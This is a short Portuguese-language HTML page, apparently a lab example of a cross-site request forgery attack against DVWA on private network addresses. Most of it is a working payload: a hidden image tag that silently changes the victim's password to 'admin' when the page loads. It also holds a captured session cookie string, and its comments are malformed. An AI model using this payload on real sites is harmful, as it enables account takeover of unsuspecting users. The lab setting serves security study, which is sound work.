CSRF [exemplo]

<html>
    <body>
        <h1> Te peguei ;)</h1>

        <--! Servidor hacker: 192.168.0.16>
        <--! Servidor da vitima: 192.168.0.19>
        <--! Validacao: /dvwa/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change">

        <img style="display:none" src="http://192.168.0.19/dvwa/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change" alt="">
        <input type="hidden" name="_token" value="security=low; PHPSESSID=k7q67pvdrl0hjgkgea285ukih0; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada">
    </body>
</html>